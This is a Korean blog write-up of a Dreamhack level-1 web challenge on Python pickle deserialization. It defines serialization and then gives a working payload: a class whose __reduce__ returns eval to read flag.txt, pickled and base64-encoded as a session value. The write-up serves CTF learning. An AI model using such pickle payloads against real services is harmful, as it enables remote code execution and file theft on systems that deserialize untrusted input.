모의해킹/Dreamhack

web-deserialize-python [WEB LEVEL1]

철민1234 2023. 4. 17. 13:47
728x90

문제 정보

Serialization : Object 또는 Data의 상태 또는 타입을 특정한 형태의 포맷을 가진 데이터로 변환하는 것

Deserialize : 직렬화된 데이터를 원래의 Object 또는 Data의 상태 또는 타입으로 되돌리는 것

**직렬화 하는 이유 : 데이터를 파일에 저장하거나 네트워크를 통해 바이트 형태로 변환한 후 전송을 하기 위해서

 

문제 풀이

로컬에서 pickle 모듈을 사용해 세션을 만든다. 세션을 체크하면 만든 세션의 정보를 확인할 수 있다.

즉, 그러면 .flag.txt 파일을 읽는 세션을 만들면 문제을 풀 수 있을 거이다.

import pickle, base64
info={'name':'test', 'userid':'test', 'password':'test'}
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
print(data)

 

문제 풀이

세션을 체크하면 flag 값을 확인할 수 있다.

import pickle, base64

class test:
    def __reduce__(self):
        p="open('./flag.txt').read()"   #파일 읽기 
        return (eval,(p,))
 
rs={'name':test()}
 
print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))  #직렬화 작업